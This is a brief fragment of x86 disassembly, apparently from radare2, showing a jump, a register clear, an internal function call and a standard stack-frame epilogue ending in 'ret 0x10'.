jmp 0x453352
xor al, al
mov ecx, dword [ebp - 4]
call fcn.0045d95d
pop edi
mov esp, ebp
pop ebp
ret 0x10